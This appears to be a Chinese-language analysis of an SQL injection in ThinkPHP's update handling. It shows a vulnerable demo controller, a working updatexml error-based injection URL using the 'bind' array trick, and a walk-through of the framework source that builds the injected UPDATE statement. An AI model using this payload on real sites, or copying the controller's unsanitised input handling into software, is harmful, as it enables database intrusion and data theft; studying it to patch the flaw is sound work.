TestController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class TestController extends Controller {
public function index(){
$username = $_GET['username'];
$data=M('users')->where(array("username"=>$username))->find();
dump($data);
}
public function login(){
$this->display();
}
public function insert(){
$condition['username'] = I('username');
$data['password'] = I('password');
$result = M('users')->where($condition)->save($data);
dump($result);
}
}
updata注入
http://127.0.0.1/index.php/home/test/insert?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x7e,(select%20(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1)),0x7e),1))%23 &password=123456
造成注入的问题主要时function parseSet()和 protected function parseWhere()
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
这里接收password的数据,代码直接到
else{
$name = count($this->bind);//name=0
$set[] = $this->parseKey($key).'=:'.$name;//set[]=`password` =:0
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);//set `password` =:0
这样拼接的sql语句为 set set password
=:0
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
}
}elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
}
}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
这里接受username的数据,如果数据0的数据为bind
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
sql语句为username
:0 and 1=(updatexml(1,concat(0x7e,(select (select table_name from information_schema.tables where table_schema=database() limit 2,1)),0x7e),1))#
将这两个语句拼接为UPDATE users
SET password
=:0 WHERE username
= :0 and 1=(updatexml(1,concat(0x7e,(select (select table_name from information_schema.tables where table_schema=database() limit 2,1)),0x7e),1))#
最后会经过一个函数将:0都转为1234
UPDATE users
SET password
=1234 WHERE username
= 1234 and 1=(updatexml(1,concat(0x7e,(select (select table_name from information_schema.tables where table_schema=database() limit 2,1)),0x7e),1))#